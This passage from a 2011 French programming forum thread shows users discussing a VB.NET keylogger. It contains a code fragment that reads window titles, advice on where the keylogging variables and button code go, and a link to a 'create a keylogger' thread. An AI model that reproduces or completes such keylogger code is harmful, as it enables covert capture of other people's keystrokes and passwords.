            'Ch = S(i - 1)
            'End If
            'Next

            Return Ch

        End Function

        Private Function GetTitle(ByRef hwndA As Integer) As String
            Try
                Dim hWndlength, returnvalue As Integer
                Dim hWndTitle As String
                hWndlength = GetWindowTextLength(hwndA)
                hWndTitle = New String(Chr(0), hWndlength)
                returnvalue = GetWindowText(hwndA, hWndTitle, hWndlength + 1)
                GetTitle = hWndTitle
            Catch
                GetTitle = "Titre non trouvé"
            End Try
        End Function


    #End Region


        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            keylog = False
        End Sub

        Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

        End Sub
    End Class
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 16:54

    re ,

    Le début si avant le Region ...
    Mais la totalité , je ne sais pas . vair ne pense pas .

    Cordialement ,
    Le réparateur de PC
    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Jeu 1 Sep 2011 - 16:59

    merci et comment je pe faire sa ?
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 18:13

    re ,
    Dim keylog As Boolean
    Dim Ch As String = ""

    Déclaration de variables ici le variable KeyLog et Ch

    Private Sub .....
    End Sub

    Ve qui est entre ces deux ligne est ce qui se trouve dans l'évènement Click du boutton1 .

    Le reste , je ne vois pas .
    Où as-tu trouvé ce code ?

    Cordialement ,
    Le réparateur de PC
    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Jeu 1 Sep 2011 - 18:15

    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 18:18

    re ,

    OK ,je regarde .

    Google m'a trouvé ceci :
    https://forumvelersoftware.bbactif.com/t66-resolu-creer-un-keylogger

    Cordialement ,
    Le réparateur de PC
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 18:32

    re ,

    Ce n'est pas vraiment un KeyLogger .... car il faut que la form soit sélectionnées . Si on est sur le burreua , cela ne fonctionne pas .

    Cordialement ,
    Le réparateur de PC
    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Jeu 1 Sep 2011 - 18:33

    chez moi sa marche
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 18:36

    re ,

    AHH , si , j'ai trouvé !!!
    PAs mal ! il y a meêm un historique des fenêtres ouvertes et programmes .

    Cordialement ,
    Le réparateur de PC

    Contenu sponsorisé


    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par Contenu sponsorisé


      La date/heure actuelle est Mer 8 Mai 2024 - 13:59